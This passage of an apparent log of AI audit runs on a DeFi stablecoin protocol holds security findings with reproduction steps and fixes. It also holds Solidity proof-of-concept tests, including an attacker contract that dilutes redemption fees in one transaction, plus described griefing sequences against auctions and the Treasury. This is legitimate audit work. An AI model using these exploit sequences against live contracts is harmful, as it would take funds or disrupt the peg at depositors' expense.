fee,\n        // under 1%, which was minted to the Treasury).\n        assertApproxEqRel(usd.totalSupply(), supplyAtRest - amount, 0.01e18, \"nothing of the attacker's borrow is left\");\n        assertEq(feeSeen, honestFee, \"the fee read inside the transaction equals the fee at rest\");\n        assertLe(out, honestOut, \"the redeemer does not receive more collateral than an honest redemption pays\");\n        (uint192 base,) = redeemer.rates(ETH);\n        uint256 honestBase = redeemer.decayedBaseRate(ETH) + (amount * 1e18 / supplyAtRest) / 2;\n        assertEq(uint256(base), honestBase, \"the base rate rose by the redeemed share of the supply at rest\");\n    }\n}","reproduction":"State: ETH type (mat 1.5, redeemDivisor 2, redeemFloor 0.5%), alice owes 90,000 imdUSD, 30 days after launch (base rate decayed). Attacker, in one transaction: open a position borrowing 90,000 (own or flash-loaned WETH), call Redeemer.redeem(ETH, 9,000, 1e18, 10, 0), repay the 90,000 and withdraw the WETH. Expected: feeFor(ETH, 9,000) inside the transaction = fee at rest (0.5% + decayed base + 9,000/90,000/2 = 5% cap), collateral out = 9,000/2000 x 0.95 = 4.275 WETH, base rate after = decayed + 5%. Actual on this commit: fee = 0.5% + decayed + 9,000/180,000/2 = 3% (+decayed), collateral out ~4.36 WETH, base rate after rose by 2.5% instead of 5%; totalSupply after the transaction = supply at rest - 9,000 (the borrow left nothing). test/scratch/ProofRedeemFeeDilution.t.sol fails on the first assertEq (feeSeen vs honestFee).","severity":"medium","snippet":"        uint256 supply = ImdUSD(address(token)).circulating();\n        uint256 increase = supply == 0 ? FEE_CAP : Math.mulDiv(amount, 1e18, supply) / r.redeemDivisor;","title":"Redemption fee and base-rate rise are diluted by real debt minted earlier in the same transaction (PEG zap / any borrow, repaid before the transaction ends)"},{"citation":"resolved","description":"A run records the sleeve's holding at its start (`auctionColl`) and after each buy, and treats `coll > auctionColl` as new collateral that must be offered from the top (README: 'collateral that arrives later stops the price until anyone restarts the run, so it is always offered from the top'). But Backstop.withdraw pays exits pro rata IN KIND (src/backstop/Backstop.sol:497-499 `coll[tokens[i]] -= collOut[i]`), lowering `coll` without touching `auctionColl`. Any standing bid that then adds no more than what the exits removed leaves `coll <= auctionColl`, so `_auction` does not revert and `buyCollateral` sells the newly bought collateral at the run's decayed price, at the 98%-of-low floor once the run is older than 2 hours. The sleeve's depositors lose the 2-5% a top-of-run offer could have fetched on that collateral; the Backstop's own floor still holds, so the loss is bounded by (top - floor) x the new amount per run. Reachable in the beta (blue sleeve, any liquidated ETH/wstETH/BTC position after a depositor's withdrawal). Smallest fix: in `buyCollateral` and `startAuction` track the sleeve's holding net of exits, e.g. record `auctionColl` as a high-water mark updated on each buy AND lower it on every read where `coll < auctionColl` (`auctionColl[k] = Math.min(auctionColl[k], coll)` before the comparison), or have Backstop expose a cumulative 'bought' counter per token and key staleness on that.","line":707,"path":"src/peg/Allocator.sol","reproduction":"Mock or real sleeve holding 10 WETH; startAuction; wait 2h (price at floor 1,960 with low 2,000). A depositor's withdraw takes 2 WETH in kind (coll 8). A new standing bid adds 1.5 WETH (coll 9.5 <= auctionColl 10). Expected: buyCollateral reverts AuctionStale and a restart offers the 1.5 WETH from 2,060 (103% of low). Actual: buyCollateral(backstop, weth, 9.5e18, max) succeeds at 1,960 per WETH, selling the 1.5 WETH that was never offered above the floor.","severity":"low","snippet":"        if (IBackstopSale(backstop).coll(collateral) > auctionColl[k]) revert AuctionStale();","title":"Allocator auction: collateral that arrives after an in-kind exit is not detected as new and sells at the run's current (floor) price instead of from the top"},{"citation":"resolved","description":"README accepts a restart once a run has reached its floor (up to 2 h per restart). A run can also be reset BEFORE the floor by anyone who makes the sleeve buy new collateral: `startAuction` accepts a restart whenever `held > auctionColl[k]`, and `_auction` (line 707) refuses every buy until it is restarted. Any borrower can manufacture that: open a position on a sleeve-covered type (ETH, wstETH, cbBTC, WBTC, S-USDS, S-USDC in BetaConfig) with collateral x low == ceil(debt x mat) exactly (the borrow check `_healthy` at `q.borrow == q.low` passes at equality), wait one block (interest makes `debt x mat` exceed the collateral by a few wei), and call `Liquidator.liquidate(id)`: with `q.agree` and `bidRoom >= need` the standing bid buys the collateral, `Backstop.coll[token]` rises, and the run is stale. The cost is the penalty on a dust position: debt 100 imdUSD (BetaConfig dust) x chop 10% = 10 imdUSD, of which the attacker-as-marker gets the chip back (1) and the Treasury its cut (5): about 9 imdUSD per reset (5 on a chop-5% type). A liquidation keeper who wants liquidations to fall to the caller path (the penalty is theirs there) keeps the sleeve short of imdUSD by resetting its collateral auction for about 100 imdUSD a day; depositors hold collateral they cannot convert, and the standing bid stays off. Smallest fix: let AuctionStale apply only to the NEW amount, i.e. keep selling the recorded `auctionColl` at the current price and offer only `coll - auctionColl` from the top on a restart (track the offered amount, not the holding), or require a minimum new amount (e.g. at least 1% of the holding) before a running auction may be restarted.","line":335,"path":"src/peg/Allocator.sol","reproduction":"Blue sleeve holds 10 WETH, run started, 90 minutes elapsed (price 1,985 with low 2,000). Attacker opens an ETH position with 0.075 WETH and 100 imdUSD of debt at low 2,000 and mat 1.5 (0.075 x 2,000 = 150 = 100 x 1.5), one block later calls liquidate(id). Expected (README): the run continues to its floor at 2 h and only genuinely new collateral is offered from the top. Actual: the standing bid buys 0.0825 WETH (debt + chop less cuts), coll = 10.08 > auctionColl = 10, buyCollateral reverts AuctionStale, startAuction succeeds at once and the price is back to 2,060 for all 10.08 WETH; repeating every 90 minutes keeps the collateral unsold indefinitely for about 9 imdUSD per reset.","severity":"low","snippet":"        if (s != 0 && block.timestamp < s + AUCTION_DURATION && held <= auctionColl[k]) revert AuctionRunning();","title":"Allocator auction can be reset to the top for about the chop on a dust position: a self-liquidation through the standing bid adds collateral and trips AuctionStale before the run reaches its floor"}],"hash":"83da84e4383326543a8f90926734d6c4662a66a9cfd8ef4093eea50cb1a27740","nodeId":"3a9ac635-89c9-49dd-af36-11da837ec886","outcome":"completed","summary":"## Findings\n\nWritten to `.imd-findings.json` (3 findings, one with a proof). All 139 panel tests pass on this commit (12 unit files, 137 tests; `test/invariant/Invariants.t.sol`, 2 tests, both runs below), so every wave-1 proof adapted as `AuditW1*` still passes.\n\n**1. Medium. Redemption fee and base-rate rise are diluted by real debt minted earlier in the same transaction.** `src/Redeemer.sol:157` (`_fee`) and `:147` (`supplyBefore`) divide by `ImdUSD.circulating()`, which since the wave-1 fix returns `max(supply − inFlight, supplyAtLoanStart)` (`src/ImdUSD.sol:161-162`). That stops a flash mint from diluting the ramp, but any REAL mint inside the transaction still raises it. A redeemer borrows first, redeems, then repays, all in one transaction. The cheapest borrow in BetaConfig is the PEG zap: 12.5k USDC (flash-loanable) carries the whole 25k PEG line at a 0.5% floor, so the upfront fee is about 2.4 imdUSD; `PegPositionZap.open` and `unwind` both run in one transaction. With sIMD's divisor of 2 and a 90k supply, a 9k redemption pays 5% (cap) honestly and about 3.4% with 25k of transient PEG debt: about 144 imdUSD saved for about 3 of cost, and the type's base rate rises by 2.5% instead of 5%, so every following redeemer is cheaper too. The README's known issue covers only the deflating direction (which hurts the redeemer). Fix: use `min(circulating(), supply at the first touch of the transaction)` in the Redeemer (a transient snapshot), or have `circulating()` record the start-of-transaction supply on the first mint or burn and return `min(net, start)`.\n\nProof (fails on this commit; full source is in the findings file):\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {ImdUSD} from \"src/ImdUSD.sol\";\nimport {Parameters} from \"src/Parameters.sol\";\nimport {ParametersBase} from \"src/ParametersBase.sol\";\nimport {Pricer} from \"src/Pricer.sol\";\nimport {Treasury, ICoverable} from \"src/Treasury.sol\";\nimport {PositionNFT} from \"src/PositionNFT.sol\";\nimport {Ledger} from \"src/Ledger.sol\";\nimport {IPulse} from \"src/LedgerBase.sol\";\nimport {Redeemer} from \"src/Redeemer.sol\";\nimport {Liquidator} from \"src/Liquidator.sol\";\nimport {Migrator} from \"src/Migrator.sol\";\nimport {Join} from \"src/Join.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\nimport {Adjust} from \"src/interfaces/IPositions.sol\";\n\ncontract PdTok is ERC20 {\n    constructor() ERC20(\"WETH\", \"WETH\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract PdFeed is IFeed {\n    uint256 public value;\n    uint64 public at;\n    constructor(uint256 v) { value = v; at = uint64(block.timestamp); }\n    function latestValue() external view returns (uint256, uint64) { return (value, at); }\n    function isStale() external pure returns (bool) { return false; }\n    function maxAge() external pure returns (uint256) { return 1 hours; }\n}\n\ncontract PdAttacker {\n    ImdUSD immutable usd;\n    Ledger immutable ledger;\n    Redeemer immutable redeemer;\n    constructor(ImdUSD u, Ledger l, Redeemer r) { usd = u; ledger = l; redeemer = r; }\n\n    function run(bytes32 ilk, IERC20 weth, uint256 coll, uint256 inflate, uint256 amount)\n        external\n        returns (uint256 collateralOut, uint256 feeSeen)\n    {\n        weth.approve(address(ledger), type(uint256).max);\n        usd.approve(address(ledger), type(uint256).max);\n        // A high rate: the redemption takes from the lowest rates first, so it visits alice, not this position.\n        uint256 id = ledger.open(ilk, 0, Adjust(int256(coll), int256(inflate), 0.5e18, 0, 0, false, type(uint256).max, address(0)));\n        feeSeen = redeemer.feeFor(ilk, amount);\n        (, collateralOut) = redeemer.redeem(ilk, amount, 1e18, 1, 0);\n        ledger.adjust(id, Adjust(-int256(uint256(ledger.position(id).collateral)), -int25","treeHash":null,"usage":{"cachedInputTokens":4118835,"cost":{"source":"runtime","usdMicros":8935147},"inputTokens":552,"model":"claude-fable-5-1","outputTokens":64317,"runtime":"claude","turns":43,"wallClockMs":1969620}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"5739ce0d803a43cd","findings":[{"citation":"resolved","description":"startAuction (line 335) and _auction (line 707) detect \"new collateral the run has not offered\" by comparing the sleeve's CURRENT holding `Backstop.coll(token)` with `auctionColl[k]`, the holding when the run started (lowered only by buyCollateral, line 366). But `Backstop.withdraw` pays exits pro rata IN KIND and lowers `coll[token]` (Backstop.sol:498-499) without the Allocator seeing it. After any exit, the next liquidation's collateral (a standing bid raises `coll` in closeBid, Backstop.sol:571) stays at or under the stale snapshot: `_auction` does not revert AuctionStale, `startAuction` reverts AuctionRunning while the run lasts, and the fresh collateral is for sale at whatever price the run has decayed to. When the run sits at its floor (any run older than 2 h; runs stay at the floor forever), fresh liquidation collateral is sold at 98% of `low` the moment it lands, with no descent from 103% of max(low, high, payout). README ('Allocator', 'Known issues added after wave 1') and the contract header promise the opposite: 'collateral that arrives later stops the price until anyone restarts the run, so it is always offered from the top'. A depositor who is also a buyer controls the moment: queue a withdrawal 7 days ahead, then in one transaction withdraw in kind, liquidate an unhealthy position into the sleeve's standing bid (permissionless) and buyCollateral at the floor, taking 2% of `low` plus any market-over-low gap from the other depositors, bounded only by the BACKSTOP_SALE bucket and the sleeve's saleLimit. Reachable with BetaConfig: both sleeves have depositors who may exit, every covered type liquidates into them, and the auction is the only collateral exit. Smallest fix: make the staleness test monotonic. Either have Backstop keep a cumulative `bought[token]` (incremented in closeBid) and snapshot that in startAuction / compare it in _auction, or, Allocator-only, snapshot `coll + <sold so far>` is not enough because exits are invisible there; so the Backstop-side counter (3 lines) is the smallest change. Also lower `auctionColl` to `coll` whenever `coll` reads below it so a later arrival within the gap is caught.","line":707,"path":"src/peg/Allocator.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {Backstop} from \"src/backstop/Backstop.sol\";\nimport {IBackstopOracle, ILedgerCover} from \"src/backstop/IBackstop.sol\";\nimport {Allocator} from \"src/peg/Allocator.sol\";\n\ncontract PUSD is ERC20 {\n    constructor() ERC20(\"imdUSD\", \"imdUSD\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n    function burn(address from, uint256 a) external { _burn(from, a); }\n}\n\ncontract PToken is ERC20 {\n    constructor() ERC20(\"WETH\", \"WETH\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract POracle is IBackstopOracle {\n    uint256 public low; uint256 public high;\n    function set(uint256 l, uint256 h) external { low = l; high = h; }\n    function priceOf(address) external view returns (uint256, uint256, bool) { return (low, high, low != 0); }\n    function pricedAt(address) external pure returns (uint256) { return 0; }\n}\n\n/// @dev The Ledger's role in a standing bid: burn from the payer (the sleeve), pay it the collateral.\ncontract PLedger is ILedgerCover {\n    PUSD public usd;\n    constructor(PUSD u) { usd = u; }\n    function cover(bytes32, uint256) external {}\n    function ilkState(bytes32) external pure returns (uint128, uint128, uint256, uint64, uint128) { return (0, 0, 0, 0, 0); }\n    function liquidatePosition(address payer, PToken coll, uint256 repaid, uint256 seized) external returns (uint256) {\n        usd.burn(payer, repaid);\n        coll.mint(payer, seized);\n        return repaid;\n    }\n}\n\n/// @dev The Liquidator's standing-bid sequence: openBid, liquidatePosition with the sleeve as payer, closeBid.\ncontract PLiquidator {\n    PLedger public ledger;\n    constructor(PLedger l) { ledger = l; }\n    function liquidate(Backstop bs, bytes32 ilk, PToken coll, uint256 repaid, uint256 seized) external {\n        bs.openBid(ilk);\n        uint256 r = ledger.liquidatePosition(address(bs), coll, repaid, seized);\n        bs.closeBid(ilk, r);\n    }\n}\n\n/// @notice Allocator.startAuction / _auction judge \"new collateral\" by `Backstop.coll(token) > auctionColl`, a HOLDING\n/// snapshot, not an inflow. A depositor's in-kind exit (Backstop.withdraw) lowers `coll` without touching `auctionColl`,\n/// so the collateral the next liquidation brings in slips under the snapshot: the run is not stale, it is sold at the\n/// run's current price (here the 98%-of-low floor) and nobody may restart it, although README and the Allocator header\n/// promise \"new collateral stops the price until a restart, so it is always offered from the top\".\ncontract ProofAuctionStaleAfterExitTest is Test {\n    bytes32 constant ETH = \"ETH\";\n    address governor = makeAddr(\"governor\");\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n    address buyer = makeAddr(\"buyer\");\n\n    PUSD usd; PToken weth; POracle oracle; PLedger ledger; PLiquidator liq; Backstop blue; Allocator al;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        usd = new PUSD();\n        weth = new PToken();\n        oracle = new POracle();\n        oracle.set(2000e18, 2010e18);\n        ledger = new PLedger(usd);\n        liq = new PLiquidator(ledger);\n        al = new Allocator(governor, makeAddr(\"treasury\"), governor, 100);\n        blue = new Backstop(IERC20(address(usd)), ledger, oracle, false, \"Backstop blue\", \"sBACK-B\");\n        blue.wire(address(liq), address(this), address(al));\n        blue.addIlk(ETH, address(weth), 0, 100e18, uint128(100e18) / 1 days);\n        blue.seal();\n        _gov(abi.encode(al.ADD_TARGET(), al.BACKSTOP_SALE(), address(blue)));\n        _gov(abi.encode(al.SET_LIMIT(), al.BACKSTOP_SALE(), address(blue), uint128(1_000_000e18), uint128(1_000_000e18)));\n        address[3] memory us = [alice, bob, buyer];\n        for (uint256 i; i < 3; ++i) {\n            usd.mint(us[i], 1_000_000e18);\n            vm.startPrank(us[i]);\n            usd.approve(address(blue), type(uint256).max);\n            usd.approve(address(al), type(uint256).max);\n            vm.stopPrank();\n        }\n        // two equal depositors, then the standing bid buys 10 WETH for 18,000 imdUSD\n        vm.prank(alice); blue.deposit(100_000e18, alice);\n        vm.prank(bob); blue.deposit(100_000e18, bob);\n        skip(2 days);\n        blue.realize(alice);\n        blue.realize(bob);\n        liq.liquidate(blue, ETH, weth, 18_000e18, 10e18);\n        assertEq(blue.coll(address(weth)), 10e18);\n    }\n\n    function _gov(bytes memory payload) internal {\n        vm.prank(governor);\n        al.propose(payload);\n        vm.warp(vm.getBlockTimestamp() + 48 hours);\n        al.applyPending();\n    }\n\n    function test_collateralArrivingAfterAnExitIsSoldAtTheFloorWithoutARestart() public {\n        // bob queues his exit; a week later the run starts and reaches its floor\n        uint256 bobShares = blue.balanceOf(bob);\n        vm.prank(bob);\n        blue.requestWithdraw(bobShares);\n        skip(7 days);\n        al.startAuction(address(blue), address(weth));\n        skip(2 hours);\n        assertEq(al.auctionPrice(address(blue), address(weth)), 1960e18, \"at the floor: 98% of low\");\n\n        // bob leaves in kind: the sleeve now holds 5 WETH, the snapshot still says 10\n        vm.prank(bob);\n        blue.withdraw(bob);\n        uint256 afterExit = blue.coll(address(weth));\n        assertApproxEqAbs(afterExit, 5e18, 10, \"half left in kind\");\n\n        // a NEW liquidation brings 4 WETH the run has never offered\n        liq.liquidate(blue, ETH, weth, 7_200e18, 4e18);\n        assertEq(blue.coll(address(weth)), afterExit + 4e18, \"4 WETH of new collateral\");\n        assertLe(blue.coll(address(weth)), 10e18, \"still under the 10 WETH snapshot\");\n\n        // Expected (README, Allocator header): the run is stale until anyone restarts it from the top (103% of high =\n        // 2,070.3). Actual: the new collateral is for sale at the floor at once.\n        vm.prank(buyer);\n        vm.expectRevert(Allocator.AuctionStale.selector);\n        al.buyCollateral(address(blue), address(weth), 9e18, type(uint256).max);\n    }\n}","reproduction":"Setup (BetaConfig-shaped): blue sleeve with two equal depositors (100k imdUSD each), BACKSTOP_SALE allowlisted and bucket set; a standing bid buys 10 WETH at low 2,000 / high 2,010. bob requests withdrawal; after 7 days startAuction (auctionColl = 10 WETH); 2 h later auctionPrice = 1,960 (98% of low). bob withdraws in kind: coll = 5 WETH. A new liquidation sells 4 WETH to the standing bid: coll = 9 WETH <= 10. Expected: buyCollateral reverts AuctionStale and anyone may restart from 103% x 2,010 = 2,070.3. Actual: buyCollateral(9 WETH) succeeds at 1,960 per WETH (17,640 imdUSD for collateral the sleeve just paid 7,200 + 9,000 for), and startAuction is refused until the run's clock allows it. Proof: test/scratch/ProofAuctionStaleAfterExit.t.sol, output on this commit: [FAIL: next call did not revert as expected] test_collateralArrivingAfterAnExitIsSoldAtTheFloorWithoutARestart() (gas: 673573).","severity":"medium","snippet":"        if (IBackstopSale(backstop).coll(collateral) > auctionColl[k]) revert AuctionStale();","title":"Allocator auction judges new collateral by a holding snapshot: collateral that arrives after a depositor's in-kind exit is sold at the run's current price (the 98%-of-low floor) and cannot be restarte"},{"citation":"resolved","description":"retireReserve (Treasury.sol:142-148) refuses only while bad debt is ALREADY booked (totalBadDebt != 0) and keeps only the fee notes' face. The Treasury's imdUSD balance is at the same time the system's bad-debt cover (LedgerBase.unbacked() reads token.balanceOf(treasury); Liquidator._cover -> Treasury.coverBadDebt spends it in the liquidation's own transaction). So a liquidation that is about to book bad debt can be front-run by retireReserve(reserveBacked): the reserve-backed imdUSD is burned (solvency-neutral: the Treasury keeps the yield shares), the cover in the liquidation's transaction finds a smaller balance, the uncovered rest is `unbacked`, and once it exceeds Parameters.unbackedBrake x circulating every type's borrowing reverts Braked until the Safe sells shares for imdUSD and covers (48 h payout timelock) or a third party covers. Cost to the griefer: gas. This is the README's accepted 'Global brake beyond sleeve plus Treasury' made reachable with a smaller loss than the Treasury balance suggests. Smallest fix: in retireReserve keep, besides the notes' face, a cover reserve (for example min(balance, Σ live edge debt under mark, or a governed `coverReserve`)), or make retireReserve governor-only (it is 'the burn path', not time-critical).","line":147,"path":"src/Treasury.sol","reproduction":"State (BetaConfig shape, yield type listed): Treasury holds 5,000 imdUSD, Ledger.reserveBacked = 4,000 (harvested yield), unbackedBrake = 1% of a 300,000 circulating supply (3,000), no edge sleeve cover (blue type). An ETH position is about to be liquidated with 3,000 imdUSD of bad debt (collateral worth less than debt after a gap). Sequence: (1) griefer calls Treasury.retireReserve(4_000e18): totalBadDebt == 0 so it passes, burns 4,000, Treasury balance 1,000. (2) Liquidator.liquidate(id) books bad 3,000; _cover -> coverBadDebt covers 1,000; unbacked() = 2,000. Expected before the fix: cover of the full 3,000 (balance 5,000 >= 3,000), unbacked 0, borrowing open. Actual: unbacked 2,000 <= 3,000 here so the brake is not yet hit; with reserveBacked = 4,500 and bad 3,500 the same sequence leaves unbacked 3,000 + 1 > allowed and Ledger.adjust with dDebt > 0 reverts Braked(3000e18+1, 3000e18) on EVERY type until someone covers.","severity":"low","snippet":"        ledger.retire(amount < free ? amount : free);","title":"retireReserve is permissionless and keeps nothing for bad-debt cover: anyone can burn the Treasury's reserve-backed imdUSD one block before a liquidation books bad debt, so the same-transaction cover "},{"citation":"resolved","description":"decayedBaseRate (Redeemer.sol:83-94) treats a never-redeemed type as if a redemption had just happened at its listing: base = FEE_CAP (5%) at Parameters.listedAt (the seal for genesis types), decaying with a ~12 h half-life. The fee is floor + base + size term, so for the first ~24 h redemption costs 1.3-5.5% and only arbitrages the peg pool below about $0.945-0.987. In the beta nothing else bids below $1: the Treasury holds almost no USDC (question 7), PegHook.buffer is 0 until the Safe sets bufferTarget and funds it or toll USDC is swept, and keeper withdraw() has no outstanding imdUSD to buy back. Replaying v1's depeg against the toll (surchargeFor, PegHook.sol:567-584) with ~$2.5k of depth per 0.25%: a borrower selling $10k in 20 lots of $500 pays 0 on the first ~$2.5k, then the soft leg priced at each lot's END price (0 -> 1.5% across -0.25% -> -1%): about $55-60 of toll in total against ~$150 for one swap ending at -1%; the pool sits at about -1% (the wall's 5% step stops further lots: the next $500 lot pays $29). Nothing pulls it back on day one until organic buyers appear, because redemption pays only below ~$0.95 and there is no buffer. The toll does bound the depth of the depeg (to about -1% for a seller who cares about cost, -2% at 20% marginal toll), it does not restore the peg. Smallest changes, in order of cost: (a) no code: seal and list the genesis types at least 68 h before the lines open (the base is within 0.1% of the floor after ~68 h; before the seal borrowing is impossible anyway); (b) one line: start an unredeemed type's base at redeemFloor (or a governed genesisBase) instead of FEE_CAP; (c) have the Safe set bufferTarget in the setup BATCH and fund the buffer (fundBuffer) with the launch USDC the Safe holds, so the below-peg bid exists from the first block; (d) price the toll on the swap's path (integrate surchargeFor from the start to the end price) so a split push pays the whole toll; ~20 lines in afterSwap, after the freeze.","line":90,"path":"src/Redeemer.sol","reproduction":"Deploy BetaConfig at T (seal = listedAt). At T + 2 h: Redeemer.feeFor(ETH, 1) = 0.005e18 + 5e16 x 0.99998^7200 ~= 0.0545e18 (5.45%); at T + 24 h ~= 1.25% + floor. Pool: imdUSD/USDC v4 pool at $1 with liquidity such that $2.5k moves the price 0.25%. One wallet with 10,000 imdUSD borrowed sells 20 x 500 imdUSD. Expected (README: 'redemption is the floor'): the price is pulled back toward $1 by redemption arbitrage. Actual: PegHook.surchargeFor at the lot end prices sums to ~$57 of toll, the pool ends at ~$0.99, Redeemer.redeem at 5.45% fee is a loss for any arbitrageur above $0.9455, PegHook.withdraw() reverts NothingToDo (outstanding 0, buffer 0), and the pool stays at ~-1% until an outside buyer arrives.","severity":"low","snippet":"            base = FEE_CAP;","title":"Genesis types start their redemption base rate at the 5% cap from the seal: on launch day, with no Treasury USDC and an empty peg buffer, the redemption floor under the peg is about $0.945, so a v1-st"}],"hash":"985f0d33a553c89c89aba2dae20f574d448b8389522644e85c2463f4c1b3d110","nodeId":"8a069e0d-f99c-4c8c-b2c5-718df9ac79cb","outcome":"completed","summary":"The background panel run was stopped at its 10-minute limit without producing output, so the assigned test panel remains unconfirmed on this machine. Everything else stands as reported: three findings are in `.imd-findings.json` (one medium with a proof that fails on this commit, two low), and the eight questions are answered above.","treeHash":null,"usage":{"cachedInputTokens":234486,"cost":{"source":"runtime","usdMicros":8212829},"inputTokens":4,"model":"claude-fable-5-1","outputTokens":101,"runtime":"claude","turns":1,"wallClockMs":2202679}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8028959046c6ea91","findings":[{"citation":"resolved","description":"Question 7 (peg without Treasury USDC). The redemption fee of a type never redeemed starts AT FEE_CAP (5%) from `Parameters.listedAt` (the seal for every genesis type) and halves every ~12 h, so with BetaConfig (redeemFloor 0.5% on ETH/BTC/sIMD types, 0.1% on stable types) the fee reads 5.0% at the seal, 3.0% at +12 h, 1.75% at +24 h, 1.125% at +36 h and only falls under 1% after ~40 h. The arbitrage floor of imdUSD is therefore $0.95..$0.99 for the first ~40 h of the beta. In the same window the beta has no other below-peg bid: `keeperCap` and `bufferTarget` are 0 at genesis (DeployConfig), the Treasury holds no USDC, so `PegHook.buffer` is 0 and `withdraw()` has nothing outstanding to burn. PegHook's toll (src/peg/PegHook.sol:567-584) is 0 inside +-0.25%, ramps linearly to 1.5% at -1% and only starts the 5%..20% wall past -1%, and is priced on the END price of each swap. Replaying the v1 depeg (~$2.5k of depth per 0.25%, 500-unit lots): the first 5 lots (-0.25%) pay nothing; the 15 lots from -0.25% to -1% end at 30,35,...,100 bp and pay 1.5% x (d-25)/75 each, i.e. 0.1%..1.5%, average 0.8% = about $60 on $7.5k, plus $1 of LP fee; a single $10k swap to the same price would pay $150 (so splitting pays ~40%). Holding the pool at -1% therefore costs about $60 in toll plus the 0.5% average discount on the imdUSD sold (recovered if the pusher buys back). Nothing contract-side pulls the price back from -1% while the redemption fee is above 1% (first ~40 h on 0.5%-floor types, ~27 h on 0.1%-floor types): redemption at fee f is break-even at 1-f, the buffer is empty and the keeper has nothing outstanding. Past -1% the wall works: the next $10k to -2% pays 5%..20% per lot, about $1,250. Consequence: for roughly the first two days imdUSD can be held about 1% below par for a two-digit dollar cost; borrowers repay 1% cheaper, holders see -1%, the PEG type's share feed (USDC at min($1, Chainlink), imdUSD at $1) is unaffected. No protocol funds are lost, which bounds this at low. Not in README 'Known issues' (the Redeemer docstring states the cap start as a feature; the interaction with the toll wall and the unfunded buffer at launch is not stated). Smallest change (one constant, before the freeze): start the never-redeemed base at the type's wall, e.g. replace `base = FEE_CAP` with `base = 0.01e18` (a 1% + floor opening fee is still above the toll's soft cap, so a redeemer never under-cuts the pool inside the soft leg), or move PegHook.WALL_BPS from 100 to 50 so that holding -1% costs the 5%+ wall toll (about $600 per $10k) instead of $60. Operationally: seal several days before opening (the base decays from the seal, not the opening), and arm the buffer through fee-note USDC + Allocator.topUpBuffer before 2026-12-07.","line":90,"path":"src/Redeemer.sol","reproduction":"State: BetaConfig deployed and sealed at T0 (Parameters.listedAt(ilk) = T0); no redemption yet; PegHook.buffer == 0, PegHook.outstanding == 0 (keeperCap 0 at genesis). Input: Redeemer.feeFor(ETH ilk, 1e18) at T0, T0+12h, T0+24h, T0+36h, T0+48h. Expected (for a launch whose only below-peg bid is redemption): a fee at or under the toll wall (<= 1%) so that a -1% pool is arbitraged back. Actual: 0.05e18, 0.03e18, 0.0175e18, 0.01125e18, 0.0081e18 (decayedBaseRate = 0.05 x 0.5^(t/12h) + redeemFloor 0.005, capped at 0.05). Pool side: 20 exact-input sells of 500 imdUSD into a pool with ~$2.5k per 0.25% end at -0.25%..-1%; PegHook.surchargeFor at the end price of each lot gives 0 for lots 1-5 and 1.5% x (d-25)/75 for d = 30..100 bp (0.1%, 0.2%, ..., 1.5%), summing to about $60 of toll (vs $150 for one swap of $10k), and PegHook.withdraw() reverts TwapInBand/NothingToDo-equivalently does nothing because outstanding == 0 and buffer == 0. Check with the existing harness: test/unit/PegHook.t.sol test_tollCurve and test_tollIsMonotoneAway for the toll figures; Redeemer.decayedBaseRate for the fee figures.","severity":"low","snippet":"        if (since == 0) {\n            since = params.listedAt(ilk);\n            if (since == 0) return FEE_CAP;\n            base = FEE_CAP;\n        }","title":"Launch-day redemption floor sits far below the toll wall: a -1% depeg costs about $60 of toll and nothing restores it for ~40 h"}],"hash":"ba5254035794fe08b945481016716580166cbe34b3f1f023d818414b46c3ef32","nodeId":"4b648187-ce8a-4ecd-a84d-556cac3b1216","outcome":"completed","summary":"Findings file is valid, the snippet matches the tree, and no scratch files were left behind (the untracked entries are the machine's own dotfiles, not mine). Final report follows.\n\n## Result\n\nThe eight wave-1 fixes in the assigned files hold at commit 5de80a6. Every wave-1 proof in the panel now passes, and I found no new critical or high defect in the math, boundary or numerical-gap passes over Ledger, LedgerSettlement, ImdUSD, Redeemer, Liquidator, Treasury, FeeNotes, Backstop, Allocator and PegHook. One low design finding is recorded in `.imd-findings.json`: on launch day the redemption floor sits at 5% below par while the toll wall starts at 1%, so a 1% depeg costs about $60 and nothing on chain restores it for about 40 hours.\n\n## Build and test\n\nRan as instructed with solc 0.8.26 via_ir, Foundry 1.8.3 (so `--use solar` was not available):\n\n```\nforge test --match-path 'test/unit/{AuditW1Harvest,AuditW1Circulating,AuditW1PremiumBrake,AuditW1PremiumLaunder,AuditW1DeRiskNoRebind,AuditW1NoteVsBadDebt,AuditW1NoteAfterCover,AuditW1RetireKeepsNotes,AllocatorRules,AllocatorAuctionBackstop,FullSystem,PegHook}.t.sol'\nCompiling 211 files with Solc 0.8.26\nAuditW1RetireKeepsNotes      1 passed   AuditW1NoteVsBadDebt   1 passed\nAllocatorAuctionBackstop     5 passed   AuditW1PremiumBrake    1 passed\nAuditW1DeRiskNoRebind        1 passed   AuditW1PremiumLaunder  1 passed\nAuditW1Circulating           5 passed   AuditW1NoteAfterCover  1 passed\nFullSystem                   3 passed   AuditW1Harvest         3 passed\nAllocatorRules              45 passed   PegHook (Stable0+1)   70 passed\nreal 9m48s, 0 failed\n```\n\nI did not run test/invariant/Invariants.t.sol: the panel build alone took the measured budget and I had no failing proof to confirm, so I kept the remaining time for the review. No proof test was written, so the tree is unchanged.\n\n## Answers\n\n**1. M1, post-harvest health.** Every liquidation path judges and settles the same state. `_requireUnhealthy` reads `Ledger.healthy`, which uses `_afterHarvest` (LedgerBase.sol:403), and `liquidatePosition` runs `_harvest` first (LedgerSettlement.sol:123) with the same quote, fee and skips. `liquidate`, `bite`, the standing bid and the partial-to-target path all go through those two, and `liquidationNeed` (Ledger.sol:435) uses the same `_liqView`, so the room the 